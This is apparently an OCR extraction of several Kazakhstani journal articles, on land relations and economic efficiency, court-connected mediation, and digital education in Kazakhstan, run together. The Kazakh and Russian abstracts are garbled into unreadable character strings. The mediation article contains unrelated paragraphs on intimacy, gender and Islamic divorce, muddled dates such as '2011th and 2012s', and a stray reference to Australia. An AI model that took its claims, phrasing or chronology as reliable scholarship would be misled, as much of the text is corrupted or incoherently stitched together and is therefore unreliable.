On the level of management and also depending on regional accessory all lands in our republic are
divided into republican value and earth of local governments (area, the area, the mainly district).

On the other hand, we agree with T.Ch. Kultaev’s and Sh. M. Musakozhoev’s opinion, that “land
resources” mean a certain part of the territory and operational spatial basis of production. For economic
entities land resources are the place of concentration of other resources (labor, material, financial,
information). It is impossible to use a complex of those elements without the production or rendering
services [7, p. 3].

In economic literature there are different types of effect: economic effect and effect of production.
The effect can be both positive and negative. In general economic effect is understood as useful result of a
certain kind of activity, which is measured as the difference between activity and expenses on its
implementation. The effect of production understood as the result of production activity. At the same time
the positive effect of production is shown in the form of the positive final result, the useful result of
production activity, characterized by the volume of material benefits, which quality and the range satisfied
to the requirements of the society.

Land reform, a purposive change in the way in which agricultural land is held or owned, the
methods of cultivation that are employed, or the relation of agriculture to the rest of the economy. Re-
forms such as these may be proclaimed by a government, by interested groups, or by revolution. The
concept of land reform has varied over time according to the range of functions which land itself has
performed: as a factor of production, a store of value and wealth, a status symbol, or a source of social and
political influence [8, p. 140]. Land value reflects its relative scarcity, which in a market economy usually
depends on the ratio between the area of usable land and the size of that area’s population. As the land
area declines, the relative value of land rises, and land becomes increasingly a source of conflict among
economic and social groups within the community.

Thus, the economic efficiency is the relative indicator, commiserating the gained effect (or result)
with the expenses or a resource, used for achievement of this effect that is quantitatively efficiency is
defined by the result relation to expenses. Values of this indicator can’t already be summarized in space
and time.
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In the conclusion we would like to note that all the greatest measure promotes the solution of the
economic and social tasks facing society is considered effective. Questions of economic efficiency and its
increase find extended coverage in economic literature. The essence of economic efficiency of production
is treated by most of economists as the achievement of the maximum results for the benefit of the society
at minimum possible costs. At the same time the set of various positions about criteria and indicators of
production efficiency, the structure of results and expenses moves forward.
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' AnvatuncKas AkajieMust SKOHOMHKY M CTAaTHCTHKH, Kadepa Yuera, ay/IuTa U CTATHCTHKH,
Anmartsl, Kazaxcran,
zBerHeCI/IHeLSCKI/Iﬁ 9KOHOMHUUecKHi yHuBepcuteT UM. B. Kopdanroro, Karosuue, [Tonbmra

3KOHOMMUKAJIBIK KATEI'OPUSI PETIHAE
KEP KATBIHACTAPBIHBIH TYCIHII'T MEH MOHI

AnHoTanus. TuiMai )KyMBIC ICTEHTIH aybUI MapyamIbUIBIFEl OHAIPICIH KaJBIITACTHIPYIBIH HETi31 «HAPBIKTHIK
IKOHOMUKaFa COlKecy kKep KaTbIHACTapbl MEH JKeplli MaiaaiaHy KyieciH Kypyasl aMbITy 0obi Tadbutansl. Koram
SKOHOMUKAIIBIK ©CY[IiH TYOETeiIi )kaHa TYpiHe Kelllyre — TaOUFH PecypCTapAblH MYKUAT MalJalaHbUTyBIHA HETi3-
JeIreH pecypcrapibl YHEMICYNiH KapKbIHABI ©CYiHe, SKOJOTHSUIBIK Tere-TeHIIKKe KON JKeTKi3yre Mykrax. JKep
KOFaMHBIH OMipiHJIe alpBIKIIa, epeKie MaHbI3Fa He. byJ anamM3aTThIH eMip CypyiHiH MaHBI3IBI IIAPTHI, OHBIH dPTYP-
T KOKETTUTIKTEpiH — SKOHOMHUKAIBIK, QJIEYMETTIK, CTCTUKAIBIK JKOHE T.0. KOKETTUIIKTepiH KaHaFaTTaHIBIPYIBIH
KaXXETTi mapTel. AJaiina, xepai maimanaHy Typaibl alTKaH Ke3le, 9JeTTe, OHIIpiC CalachIHIAFbl KYMBICH OWfa
kenenti. XKep pecypcTapblH YTHIMABI NaiilallaHy aybUl IIApyaIlbUIBIFBIHBIH 9KOHOMUKACBIHA FAHA EMeC, TYTacTal e
YIIiH e eTe MaHbBI3Ibl. ATaMHBIH OHIMALUIITI cajachlHIA KEpIiH pei Oipaell emMec. OHepKocinTe, KOIIKTE KOHE
KaJla KYPBUIBICHIHIA OJ OHAIPICTiH OpHAJacyhl YIIiH KEHICTIKTIK OTEepaIMsIBIK HETi31HIH ipreTachl peTiHae maima-
JMAHBUTAABI. AJ Tay-KeH OHEpKociOiHAe IIMKi3aT Ke3i peTiHae KhI3MET €TETiH KEepHiH MaHBI3Bl YJIKSH OpBIHFA HE.
MyHza eHpipic mpoleci MEH albIHFaH OHIM JKepIiH camachlHa, penbeke jkoHe Oacka Ja KeNTereH KacHeTTepre
TOyenIi emec.

Tyiiin ce3mep: >kep KaTbBIHACTApEI, JKEP PECypCTaphl, JKepre MEHIIIK, XKepAi KOpFay, jKep ydacKemnepi, xKepai
MEHILIKTEH LIBIFapy, )Kep KagacTpbl, )Keplli Maianany, HapbIKTBIK SKOHOMHKA, SKOJOTHSUIIBIK TeHe-TSHIIK.
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' AnMaTuHCKas AKaneMus SKOHOMHMKHI M CTAaTHCTHKH, Kadenpa Yuera, ay/IuTa ¥ CTaTUCTHKH,
Anmartsl, Kazaxcran,
BepXHECHIE3CKHI YKOHOMUIECKHI yausepcureT uM. B. Kopdanroro, Katosune, [lonsma

MOHATHUE U CYIIHOCTH 3EMEJbHBIX OTHOIIIEHUI
KAK 3KOHOMHWYECKOM KATETOPAH

Annoranus. OcHOBOW (opmupoBaHus 3()(HEKTUBHO (YHKIMOHHUPYIOMIETO CEIbCKOXO3SICTBEHHOTO IMPOU3-
BOJICTBA SIBIIICTCSI COBEPIICHCTBOBAHKE 3EMENBHBIX OTHOIICHUH W CTAHOBIICHHE CHCTEMBI 3EMIICIIOIB30BAHUS,
«aJICKBaTHON PHIHOYHOM 3KOHOMHKE». OOILIECTBO OCTPO HYXKAACTCS B MEPEXO/ie K MPUHIMIIHAIHLHO HOBOMY THILY
9KOHOMHUYECKOT0 POCTa - HHTEHCHBHOMY POCTY PECYpCOCOEPEraroiiero THia, OCHOBAHHOMY Ha OEPEeKHOM HUCIIONb-
30BaHUM MPUPOJHBIX PECYPCOB, HA NOCTHKEHHH KOJIOTHYECKOro paBHoBecHs.Ocoboe, BhIIAIONIeecs] 3HAYCHHE B
KHM3HU o0IecTBa nMmeer 3emuisi. OHa SIBISIETCSl BAXKHEWIIMM yCJIOBHEM CYILIECTBOBAHMS 4YEJIOBEYECTBa, HE3aMEHH-
MBIM CPEJICTBOM YJIOBJIETBOPEHHS CaMbIX Pa3HBIX €ro MOTPEOHOCTEH - SIKOHOMUYECKUX, COL[HAIbHO-ObITOBBIX, 3CTeE-
TUYecKux u T.1. OIHaKO, TOBOPs 00 HUCIOJIB30BAHMH 3€MJIM, OOBIYHO UMEIOT B BUAY €€ (DyHKIMOHUpOBaHUE B chepe
NPOM3BOJICTBA. PalMoHaNbHOE HCIIOJIb30BaHHE 3EMENBHBIX PECYpCcOB HMMeeT OOJbLIOe 3HAUeHHE B JKOHOMHUKE
CeNIbCKOT0 XO03siicTBa U CTpaHbl B LieJIoM. B cepax mpou3BOACTBEHHOW NESTENFHOCTH YeJIOBEKa POJIb 3EMIIM HE
OJIMHAKOBA. B TPOMEBINIICHHOCTH, TPAHCIOPTE M IPaJO0yCTPONCTBE OHA WCIONB3YyeTCs Kak (yHIAMEHT, KaK Ipo-
CTPaHCTBCHHBIA ONEPAIIMOHHBIA 0a3uc I pa3MEUICHUs MPOU3BOJCTBAa. boiee BakHOE 3HAYEHUE 3eMIIL MPHOO-
peTaeTr B JHOOBIBAOIICH MPOMBINIUIEHHOCTH, TJI€ OHA CITY)KUT B Ka4eCTBE MCTOYHUKA CBIPhs. 3/I€Ch MPOIECC MPOU3-
BOJICTBA U MOJYYCHHSI MPOJAYKIMH HE 3aBUCHT OT KauecTBa MOYBBI, pesibepa 1 MHOTHX APYTHUX CBOMCTB, IPUCYIIUX
3emue.

KiioueBble c10Ba: 3eMelbHBIC OTHOIICHHS, 3eMeNIbHbIE PECYPChl, COOCTBEHHOCTh HA 3€MIII0, OXpPaHa 3eMellb,
3eMeJIbHbIE YYacTKH, OTYYKACHHE 3eMelb, 3eMeNIbHbII KaJacTp, 3eMIIETOJIb30BaHHE, PBIHOYHAS HSKOHOMHKA,
9KOJIOTUYECKOE PAaBHOBECHE.
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ROLE AND PLACE OF MEDIATION IN THE LEGAL TRADITION
OF THE PEOPLE OF KAZAKHSTAN

Abstract. A legal conflict occupies certain position among different conflicts in the society. A conflict is con-
sidered as legal, if there are certain signs as an object, object, subject, and also motivation, sides conduct the definite
dispute;usually, the conflict has some legal consequences. Dispute, for instance, is necessary to examine as the objec-
tively expressed contradiction of wills of two sides, that consists of carrying legal character of requirements of one
side, resisting to the legal requirement of the second side, that hampers the real satisfaction of this requirement.
Under legal status the actual position of person is understood as the legal in accordance with that application of com-
pulsion in regard to the approval of public organs subject. From the origin of dispute about the right ofits subjects the
personal interest appears in the permission. A legal conflict has the constituents, such as an object and subject of
conflict. To our mind, the sides of the conflict arethe physical persons, foreigners, persons without citizenship; state,
public organizations, possessing legal personality come forward the subjects of conflict. On the basis of legal
personality there is cooperationbetween each other in the process of conflict.

Keywords: legal conflict, mediation, mediator, legal traditions, customs, motivation, dispute, legal requirement,
legal status, pre-conflict situation.

There are no explicit constraints in the Supreme Court of Kazakhstan’s mediation program. A broad
definition of mediation means that the mediation has been introduced into the litigation process and there
are no restrictions on the kinds of mediation that may be practiced.Despite the fact that there are no
explicit limitations placed upon court-connected mediation, in practice there appears to be a focus on
settling based upon a discussion of the legal issues. This limited scope and practice of court-connected
mediation has been confirmed consistently in empirical research.

There are the reasons, which allowedto mediation,been practiced in the Supreme Court of the Re-
public of Kazakhstan:

1. Non-legal interests tend to be ignored;

2. Lawyers rather than disputants are the main participants;

3. There is a tendency for competitive approaches were adopted.

This thesis also offers an explanation, why court-connected mediation has particular characteristics.
The influences of the connection with the formal civil justice system, court-connected mediators’ practices
and the ways, that lawyers approach during the mediation procedure.

It is argued that in court-connected mediation, the potential scope of mediation is affected partly by
the dilemma of court-connection. This dilemma is that when courts sanction mediation processes, they
face the following tensions:

- Whether the court has an obligation to ensure the fairness of a private, consensual process
conducted under its supervision.

- Whether court-connected mediated outcomes should comply with the law.

- How much courts (and mediators) should interfere in lawyer-client relationships and lawyers’
promotion of their clients’ interests andmanagement of their legal cases, by encouraging direct disputant
participation.
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The private and consensual nature of the mediation process impedes courts’ ability to monitor
mediation in the way that they can monitor other litigation processes. Formal rules of procedural fairness
and the doctrine of precedent equip courts to monitor the trial process. These formal standards are difficult
to monitor in mediation, largely because it is a private process. A record of trial proceedings is kept and
can beexamined if allegations of unfairness in process or outcome are raised. Records of mediation
proceedings are confidential and generally inadmissible [1, p. 11].

Furthermore, when mediation takes place in connection with the formal litigation system, the direct
participation of disputants is an unusual practice within that system. The conventions of legal repre-
sentation are that lawyers speak on behalf of their clients, often negotiating without their clients being
present.

In formal trial processes, lawyers carefully manage the communications that occur and manage the
legal case. Clients only participate directly by giving evidence in the witness box and giving instructions
to their lawyer in private.

There is also tension between the cooperative opportunity of mediation and the context of a primarily
adversary litigation system. This tension impacts upon the way that participants, including mediators and
lawyers, approach mediation in the context of litigation.

Lawyers and mediators are officers of the Court and therefore share some responsibility for
responding to the dilemma of court-connection. This thesis examines the ways that the Supreme Court of
Kazakhstan, mediators and lawyers who practice within the mediation program have responded to the
tensions arising from connection with the litigation system.

The way that lawyers understand the mediation process also impacts upon the nature of court-
connected mediation. Lawyers’ perspectives of the potential opportunities that may be realized through
mediation processes are affected by their awareness ofthe range of practices within the mediation field and
their understandings of the purposes of court-connected mediation. This thesis provides detailed insight
into the perspectives and approaches of lawyers to mediation in the Supreme Court of Kazakhstan.

The qualitative analysis does not support generalization of the statements made by interviewees in
this research to lawyers in a broader context. This research nonetheless contributes to the growing body of
evidence about lawyers’ practices and perspectives of court-connected mediation processes. Trends and
themes are identified and compared to the findings in other court-connected contexts.

The research focuses on general civil disputes. The types of matters that are mediated in the Supreme
Court of Kazakhstan’s program are mixed general civil cases and therefore caution should be exercised
when drawing comparisons with mediation practice in specialist courts. For example, the nature of
mediation practice in the Family Court of Kazakhstan would be expected to differ markedly from the
nature of mediation practice in personal injuries or commercial disputes, which make up the bulk of the
Supreme Court of Kazakhstan’s case load.

The practices and perceptions of lawyers who participate in the mediation program are the main focus
of this thesis. The practices and perceptions of mediators are also considered. The other group of parti-
cipants in court-connected mediation is disputants, whose perspectives fall outside the scope of this
research.

This monograph is not an evaluation of the effectiveness of the mediation program at the Supreme
Court of Kazakhstan. It therefore does not seek to draw any conclusions about whether or not the me-
diation program is ‘successful.” The success of mediation is difficult to determine and depends upon the
perspective from which the program is evaluated. In any event, the institutional objectives of the Court’s
mediation program have not been clearly defined by the Court. The quality of the mediation program
cannot be determined in the absence of clearly defined objectives.

One of the consequences of a lack of clear institutional objectives is a diversity of participants’
expectations. The diversity of lawyers’ and mediators’ expectations of the mediation program is demon-
strated in this monograph.

Whether or not disputants are satisfied with the way that court-connected mediation is practiced
within the Court is not considered here. Disputants’ perceptions about mediation would address the
question of whether it matters to disputants that court-connected mediation differs from the potential of
mediation in other contexts. However, that question is not posed by this research. One of the reasons for
notaddressing that question is that attempts to identify disputants’ views were unsuccessful.
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This monograph does not seek to evaluate the performance of either the mediators or lawyers who
practice within the Court’s mediation programmer. In relation to the nature and outcomes of the
programmer, the roles of participants and the style of mediation practice, it is not asserted that there are
‘right” and ‘wrong’ approaches. However, the approaches that are adopted shape the scope, potential and
nature of court-connected mediation. This thesis investigates what is happening in the court-connected
mediation programmer and asks whether that is the optimum that could be achieved, in terms of the full
potential of mediation within the litigation context.

The nature of mediation practice in courts is under-researched. There is insufficient evidence of both
the way that court-connected mediation is practiced and the way that lawyers perceive court-connected
mediation. This thesis provides empirical evidence that addresses both of these deficiencies. It is the first
examination of theway that mediation is practiced in the Supreme Court of Kazakhstan and of the way that
Kazakhstan lawyers approach and perceive court-connected mediation in general civil disputes. This
research therefore contributes a unique and significant insight into lawyers’ perspectives of court-
connected mediation in Kazakhstan.

The qualitative analysis in this research is based upon in depth interviews of lawyers and mediators.
It is the largest Kazakhstan study to date based upon in-depth interviews of lawyers about their practices
and perspectives of mediation. The richness of the qualitative data complements quantitative survey-based
research about lawyers’ perspectives of mediation. This research also complements research based upon in
depth interviews of plaintiffs involved in court processes, by providing the perspectives of lawyers.

It will therefore contribute to the debate about whether lawyers tend to act in a way that impact on the
potential of mediation, and if so, why they do so. Particular approaches to mediation by lawyers may be
explained by developing a better understanding of factors that influence their perspectives of court-
connected mediation.

The present research contributes a unique insight into Kazakhstan lawyers’ perspectives and practices
in court-connected mediation, which is compared and contrasted with research about international
lawyers’ perspectives of mediation, about which there has been more research conducted.

It is generally recognized that court-connected mediation tends to be very lawyer-driven. It has been
suggested that legal culture contributes to the legalistic nature of court-connected mediation.However,
there is a dearth of empirical research addressing the influence of lawyers in mediation. This thesis
provides empirical evidence of the shaping of court-connected mediation by lawyers, provides a better
understanding about how legal perspectives impact on the practice of court-connected mediation and the
implications of this for the civil justice system and the mediation field [2, p. 64].

Therefore, the case study of the mediation programmer at the Supreme Court of Kazakhstan is
detailed. The description of the programmer provides important contextual information. It is recognized
that there are limitations to the application of research findings between different court-connected
mediation programmers. However, where programmer characteristics are clearly defined, some qualified
conclusions may be drawn about similar programmers operating in other locations.

Core features of mediation are then identified and it is concluded that each of these features is
universal within the mediation field and that a degree of each is expected in every mediation process. The
impact of the connection of mediation with the litigation system on each of the core features is considered.
The key opportunities linked to each of the core featuresare identified and form the theoretical construct
upon which the examination of the Supreme Court of Kazakhstan’s mediation program is built, through a
testing of the hypotheses.

This research also concludes that although there is a tendency for mediation at the Court to have a
narrow legal focus, there are some cases where a broader range of issues are discussed. Mediators are able
to respond to the individual preferences of the disputants in relation to process and content. They actively
support direct disputant participation in private sessions and are supportive of direct disputant
participation in joint mediation sessions. However, mediators tend to take a ‘hands off” approach to many
decisions about process and content, leaving it primarily to lawyers to shape the mediation process and
outcomes.

The findings demonstrate that lawyers actively narrow the scope of mediation, perceive its primary
purpose to be the efficient resolution of legal issues and generally prefer to act as spokespersons for their
clients. Lawyers, through their interactions with their clients and their approaches to the mediation
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process, limit the capacity for court-connected mediation to realize the key opportunities of media-
tion.This thesis examines how one programmer, and the lawyers in it, has responded to that dilemma and
it measures the consequent impact on the potential of mediation in that programmer.

The particular issues that arise when mediation is connected with courts are considered throughout
this chapter. The tensions that arise when mediation is conducted within the context of the formal legal
system reflect distinctions between the way that the formal legal system resolves disputes and the alter-
native approaches to dispute resolution that are embedded in the mediation field. Some tensions arise from
the court’s obligations as the public institution of justice compared with the private ordering that may
occur in mediation. Other tensions arise from uncertainty about the appropriate roles of lawyers and their
clients in court-connected mediation. The dilemma of court-connection presents inevitable challenges for
mediation within the legal system and must be resolved in some way.

This begs consideration of the extent to which different ideologies, practice models and purposes
might be promoted in the court-connected context. Consideration of this matter contributes to the justi-
fication for the hypotheses to be tested in the examination of court-connected mediation in the Supreme
Court of Kazakhstan. Court-connected mediation generally operates within a context of broad definition
and non-restrictive guidelines. This is true for the Supreme Court of Kazakhstan. It is concluded that it is
inappropriate to restrict expectations about court-connected mediation practice to particular theories or
practices of mediation, as there is an opportunity for any of them to be promoted in the court-connected
context[3, p. 825].

The history of mediation as an alternative to formal justice systems, the multiple directions in which
mediation has grown, the use of mediation in Kazakhstan and the interaction between mediation and
courts is discussed. This introduces the diversity of the mediation field, the foundations on which the field
is grounded and issues particular to court-connected mediation.Intervention in disputes by a third party has
always been a common method of conflict management and has been practiced in diverse communities
and circumstances. Modern understandings of mediation reflect contemporary values of individualism,
self-determination and consensus, values which became prominent in Kazakhstan during the 2011-th.

These values contrast with the importance in the formal legal system of universal application of legal
standards, determination by a third party decision-maker and competition between perspectives rather than
cooperation. The contrasting underlying values of the mediation field and the formal legal system create
the dilemma of court-connection that is presented when mediation is conducted within the legal system.

The history of the modern dispute resolution field demonstrates that mediation gained prominence as
an alternative to formal legal processes and is laden with values that may conflict with the values of the
adversary justice system. The development of mediation as an alternative is of particular relevance when
examining mediation within the context of the court system. The way that the mediation field has deve-
loped in Kazakhstan is considered, particularly trends in court-connected programs. This part concludes
by considering some of the ways that courts and mediation have interacted within the court-connected
context.

The modern dispute resolution field, of which mediation is a part, emerged from dissatisfaction with
existing processes, promises about what new approaches offered and changed attitudes towards con-
flict. New approaches to dispute resolution arose from dissatisfaction with dominant paradigms and
practices of negotiation and conflict resolution. These included: the adversarial nature of the justice
system, competitive approaches to dispute resolution and determination by third parties rather than
participatory decision-making. Dissatisfaction with existing conflict resolution paradigms and practices
emerged in the context of rapid social change that challenged existing hierarchies, prioritized individual
freedom over state control and promoted peace.

Theorists and practitioners of dispute resolution started developing alternative ideas about “how
people might more effectively interact to solve problems”. Advocates of new approaches to dispute
resolution maintain a conviction that a cooperative problem-solving approach to dispute resolution is
preferable to an adversarial positional approach.

The adversarial, positional approach to dispute resolution is a defining feature of the adversary justice
system. In that system, parties compete to have their own position accepted as the “truth” by the third
party decision-maker. Conflict is resolved through competition, from which there emerges a “winner” and
a “loser”.
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Mediation is said to provide an opportunity to treat conflict as a positive learning experience, to
celebrate diversity, to priorities cooperation over competition and to resolve the underlying issues that
have contributed to the conflict. Such claims present mediation as a process that overcomes the ina-
dequacies of traditional approaches to dispute resolution. Mediation is presented as an educative, inclusive
and cooperative process that promotes peace. Its potential includes the achievement of longer lasting
resolutions and social change[4, p. 180].

The dispute resolution field is founded on recognition that conflict is an inevitable consequence of
living in a human community and it should not be feared, avoided or unexpected. Theories have developed
which assume the inevitability of conflict and propose means of managing that conflict in a constructive,
peaceful way. Therefore, to be in conflict is not perceived to be a sign that a relationship has failed, but is
an opportunity to manage difference. Such theoretical notions are contradicted in the philosophy of the
traditional legal system which tends to assume that there is onlyone truth and that if one understanding of
a situation is right, then alternative understandings are wrong. This is a positivist approach that produces
binary outcomes. By contrast, dispute resolution tends to emphasize diversity and may encourage imagi-
native outcomes that side-step the issue of blame.

The distinction between the privacy of mediation and the public nature of the formal justice system is
another example of mediation as an alternative. The private, confidential and privileged qualities of
mediation are fundamental features of the process. These qualities contrast with the open, accessible and
public nature of court proceedings. However, they are qualities that mediation shares with the process of
lawyer negotiation, which is a traditional means of resolving litigated disputes. The benefits of confi-
dentiality include: the ability to avoid public scrutiny, the creation of a “safe” environment in which open
and free communication is enabled and the protection from exposure of the terms of settlement to the
public. Mediation provides an opportunity to enjoy the benefits of confidentiality that are present in in-
formal negotiations with the added potential benefits of a mediator facilitating the process. In this sense,
mediation offers an alternative to unassisted negotiations[5, p. 96].

Mediation is a dispute resolution process that offers an alternative to other processes, including the
enforcement of rights by a judge, negotiation between lawyers on their client’s behalf and direct nego-
tiation between the parties. The ways in which mediation can be distinguished from alternative processes
varies according to the way mediation is practiced.

One of the defining features of mediation is the variety inherent within it. Mediation is flexible and
adaptable so that its effectiveness can be maximized. The measures of effectiveness vary between the
purposes of mediation, which are also diverse. Mediation may be interest-based, focus on relationships or
have a pre-occupation with settlement.

There are a number of potential advantages of problem-solving negotiation over traditional positional
negotiation. They include: the creation of an opportunity to address underlying issues, the consideration of
a greater range of options, an emphasis on the emotional and procedural needs of the disputants in addition
to their substantive needs, the potential for relationship building and trust promotion and the establishment
of a model of cooperative behavior that may be valuable in the future. However, problem-solving
negotiation is unlikely to achieve these potentials unless both disputants are committed to the problem-
solving process. This will happen when their needs to negotiate a solution with each other and to invest
time in the resolution of the dispute are prioritized over any desire to punish or take revenge upon their
opponent.

Problem-solving approaches have been readily adopted from negotiation theory into the mediation
context. Problem-solving theory has dominated mediation policy and literature.In problem-solving me-
diation the mediator facilitates a mutual problem-solving approach to dispute resolution. This involves
educating disputants about the problem-solving process and guiding them through negotiations in that
style. The problem-solving approach separates the people from the problem, focuses on interests rather
than positions and encourages the generation of a wide range of options before any decision is made.

In the 1990s, in Europe, new approaches to mediation began to emerge that mirrored a shift from the
individualistic world view to a relational orientation. Rather than the focus being on problem-solving or
transactional approaches to conflict, a transformative approach has emerged that focuses on relational
approaches to conflict. Here, the way parties relate to one another is treated as the source of conflict,
rather than their competing interests.
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Another relatively recent development in the mediation field is narrative mediation, which focuses on
the way parties tell stories about their experiences of conflict. The aim is to find a shared narrative and
thereby resolve the conflict between individual understandings. Narrative mediation also approaches
conflict from a relational perspective.

Particular practices of mediation in connection with the formal legal system have also developed.
Connection with the court system has shaped mediation in new ways. In the court-connected context, it
has been claimed that the focus of mediation has often become procedural efficiency and a narrow legal
definition of the problem. Further, court-connected mediators are said to adopt a directive approach, hear
the parties™ stories, diagnose the problem, suggest a solution and then try to persuade the parties to accept
that solution. An adversarial negotiation style may be adopted to persuade the mediator to support one
legal argument over another. Such practices mirror traditional legal processes such as trial and lawyer
negotiation. Arrangements and processes for establishing, maintaining and ending the institutional
arrangements of affect through which intimacies are legitimately created are supported by confessional
experience or cultural taboos sustained by totemic ritual. To the extent that control and regulation over the
entire process has become secular, the politics of the modern state legislates to change the nature of the
relationships of intimacy. Some changes have emerged from secular interpretations of fundamental rights.
To a large extent, political authority may seek to provide progressive change for better equality and
protections in different family forms. However, even political authority may be resisted. Human rights
law, as well as the higher law of comparative constitutional law, provides important challenges to cultural
norms and expectations about questions of sexual morality, intimacy and human dignity [6, p. 122].

They have taken modern mediation away from its origins as an alternative to traditional adversarial
approaches to dispute resolution. Such approaches to court-connected mediation practice have been said to
reduce the focus on self-determination, choice-making, communication and sharing of perspectives, which
are important concepts in the mediation field. In this thesis, these claims about court-connected mediation
are tested in the Supreme Court of Kazakhstan.

Formal mediation programmers have emerged in Europe in both the private and public spheres since
the late 1970s. The focus of mediation in the private sphere was initially in community disputes, primarily
disputes between neighbors. The emphasis was on mediation as an alternative to legal avenues. Mediation
was informal, confidential, and responsive to the needs of disputants, flexible, empowering and potentially
restorative of the relationship between the parties. Community justice centers were the government funded
organizations that pioneered mediation in community, public issues, family and victim-offender disputes
Mediation in public institutions is by far the biggest growth area of mediation. Governments have en-
thusiastically adopted mediation by legislating for its use in family, commercial, administrative, workers
compensation and anti-discrimination disputes. Trials of mediation were also conducted in many
Kazakhstan courts and tribunals during the 2011th and 2012s. Since the mid-2011th all Kazakhstan courts
and tribunals have referred matters to a dispute resolution programmer of some kind, usually to a process
described as “mediation”.

The nature of non-determinative processes connected with courts and called “mediation” varies
considerably. There are not usually restrictions in legislation, policy, or guidelines, on the style of media-
tion that may be practiced in the court setting in Australia. Nor are there typically limitations on the roles
that might be played by the parties in dispute, the lawyers or the mediator. This leaves scope for a broad
range of practices in the court-connected setting [7].

Among the most important issues about gender or sexual identity has been the depreciation of the
status of women worldwide. The concern for the equality of women has by implication served to raise the
general question of equality and affect in terms of men, women and other variations of gender perspective.
This issue of affect and equality has generated fundamental questions about the imposed ascription of
identity by culture, society or the state. The critical question is how far should the self’s conception of the
self be given deference in the ascription of identity by political authority which then allocates rights and
obligations. These problems provide a normative challenge of mediating between traditions that are re-
pressive and those that are supportive of a human centered deference to positive emotional values that are
compatible with fundamental rights and to develop strategies for change when change is mandated by the
moral priority of fundamental human rights values.
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The most conspicuous fact of social organization is that human beings identify with and are inva-
riably affiliated with a group of some sort. The reproduction of negative sentiment is about identification,
groups and power. If we describe social processes as involving human beings (participants) pursuing
values (desired goods, services, honors) through institutions (political parties, corporations, labor unions,
colleges, hospitals, churches, etc.), based on resources (bases of power, base values), it will be apparent
that institutions are often group-based and specialized to the vindication of basic values. For example,
power and ideology find expression in political parties, the wealth interests in commercial actors, the
professional concern for health care in the institutions of health care, education in the schools and
universities, the skill interest in organized labor and professional groups, as well as the moral concern of
religious or faith-based groups.

In the conclusion we would like to note, that in the tradition of Islam, one of the most obvious
examples of patriarchy is found in the principle that a husband may unilaterally end a marriage by simply
pronouncing three ritual words (talak, talak, talak). This was not a right given to women.

Society places limits on whatever one’s feelings are about one’s true self. Such feelings, predispo-
sitions or orientations cannot be displaced as sexual aggression, predatory sexual practices and the abuse
of others. The community and the state seek to protect its vulnerable members who may from time to time
be targets of predatory behaviors regardless of the degree of maleness, femaleness or any other aspect of
the gender and/or sexual orientation. This is a complex and important discourse. It seeks to understand and
mediate between self’s perception of the self and the appropriateness of the social and cultural expression
of this indicator of personhood. To the extent that the expression of personhood in this sense, invades the
boundaries of others by exploitation, coercion, or aggression such conduct must invariably be restrained or
proscribed. This is so when those “others”, targeted by such conduct are vulnerable and depend on human
restraint for their physical and psychological survival and well-being.
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! Kasak y1TThIK arpapiisk yHuBepcuTeTi, Anvarsl, KasakcTaH,
2 AGaii aTblHIAFbI Kasak yJITTBIK IIearorukasiblK yHUBepceuTeTi, Anmatel, KasakcraH,
*Muunran yausepeureri, AKIII

KA3AKCTAH XAJIKbIHBIH K¥KBIKTBIK J9CTYPJEPIHIAEI'T
MEJUAIUSAHBIH KbI3SMETI MEH OPHbBI

AnHoranusi. Koramia Ke3[eceTiH IIUENICHICTePIiH IIIHC 3aHIepIiK IMIHEJCHICTEp OpKallaHaa e3IepiHiH
HaKThl OpbIHIApbIHA W€ JeN aiiTyra Oosiaabl. AJl eH[I, 3aHrepllik IIUeJeHicTep aen 013 e3iHe TOH 00BEKTICI MEH
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MYIUIETIepiH 3aH apKbUTBI KOpFayFa THIpbIcanbl. JlaynamaimapapiH KYKBIKTBIK CTaTyChl Jet 013 Oenrini skarmaiinarel
CyOBEKTiHIH iC-KUMBUIIAPbIHA TEK KaHAa MEMIIEKETTIK OpPTaHAapBIHBIH PYKCAThl apKBUIBI OEpiJIeTiH CAHKIUSHEBI
afitambr3. Exi cyOBeKTiHIH apachlHAArbl NayIblH Maiina OoiFaHBIHAH OacTam OJApIBIH OCHl KAWIIBUIBIKTapAbI
HICIIyre MYAJIEUIIT KajblnTacaasl. 3aHrepilik mueseHicrep Oenriii 0ip kypamaad Typaabl. OHbIH €H Herisri Kypa-
MBI HIMEJIEHICTIH 00BbeKTici MeH cyObekTici. bi3liH oibIMbI3IIa, IIHEICHICTIH CYObeKTICI peTiHIe KaHaai azamarrap
0oJMachIH, IIETEeN a3aMaTTapbl, a3aMaTTBIFbI JKOK TYJIFajap, MEMIICKETTIK, KOFaM/IbIK YHbIMIAp Ke3[ecyi MyMKiH.
OpOip agaMHBIH KYKBIKTBIH CYOBEKTI PEeTiHICTI KacHeTiHe OalIaHbICThI KOFaMIa Ke3JeceTiH opOip Karmaiinapaarsl
HIMeNIeHiCTep MEH JlayiaMaiiiap KYKbIKTHIK HET13/1e MenIilyre MYMKIHIIK aia/bl.

Tyiiin ce3mep: 3aHrepiiKIIKMeNeHic, MeIUalKsl, MEIUATOP, KYKBIKTBIK OCTYpJIep, CaJIT, MOTHBALMS, AayJjacy,
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POJIb U MECTO MEJIUAIIAA B IIPABOBOM TPAJIUIIAN HAPOJIA KABAXCTAHA
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THE DIGITAL KAZAKHSTAN.
THE DEVELOPMEMT OF HUMAN RESOURSES IN EDUCATION

Abstract. The digitalization is strategic priorities of development in all around a world. According to the
leading world experts, by 2020 a quarter of the world economy will be digital, and implementation of the digital
technologies in economy allowing the state, business, and society to interact effectively. Development of the human
resources will create a new generation of patriots with excellent ICT skills. This program is one of the strategic
directions of Digital Kazakhstan economy development. Governments can play an essential role in enhancing digital
literacy through the country's primary education system. Digital literacy skills lead to stronger creativity, self-
expression and improved interpersonal relations, and provide a foundation for the responsible use of technologies.

Some of the main barriers to broadband ICT development are the high prices of the Internet, the lack of an
enabling policy environment, high costs of infrastructure, low revenue potential and low digital literacy rates.

Today a considerable number of people uses the Internet, origin and promoting of social networks generally
erased age and frontiers of the virtual communication of people. Social communities are one of the most exciting
services existing on a network today. One of the successfully implementable tasks of social networks is the com-
bining of users on shared interests. Another task is filling with a network various information. For teachers, the social
networks are the set of opportunities — discussion of current problems of education, for example, implementation of
new State standard teaching programs, representation in networks of own methodical development, creative pupils
works and also the experience exchange. There is a massive number of different judgments whether it is worth
"retracting” generally once again children in the virtual communication. The modern IT technologies provide the
whole list of tools for communications of teachers with pupils not only in school hours but also behind walls of
schools. Abroad mobile means of communications with a class through the program on the smartphone or a pad —
